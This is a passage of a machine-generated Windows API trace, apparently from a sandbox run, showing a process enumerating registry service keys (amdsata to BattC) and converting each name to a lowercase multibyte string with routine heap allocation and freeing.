CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.208] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x16, lpName=0x1c829e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.208] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x17, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.209] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x18, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.209] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x19, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.209] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1a, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.209] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.209] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1b, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0028.209] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.210] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1c, lpName=0x1c829e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.210] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1d, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.210] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1e, lpName=0x1c829e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0028.210] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.210] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.211] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1f, lpName=0x1c829e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.211] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x20, lpName=0x1c829e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.211] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x21, lpName=0x1c829e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.211] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x22, lpName=0x1c829e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0028.211] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1c94408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.212] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x23, lpName=0x1c829e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.212] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x24, lpName=0x1c829e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.212] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x25, lpName=0x1c829e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1c94450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0028.212] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.212] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x26, lpName=0x1c829e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x27, lpName=0x1c829e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x28, lpName=0x1c829e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x29, lpName=0x1c829e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.213] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2a, lpName=0x1c829e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.214] WideCharToMultiByte (in: CodePage=0x0, 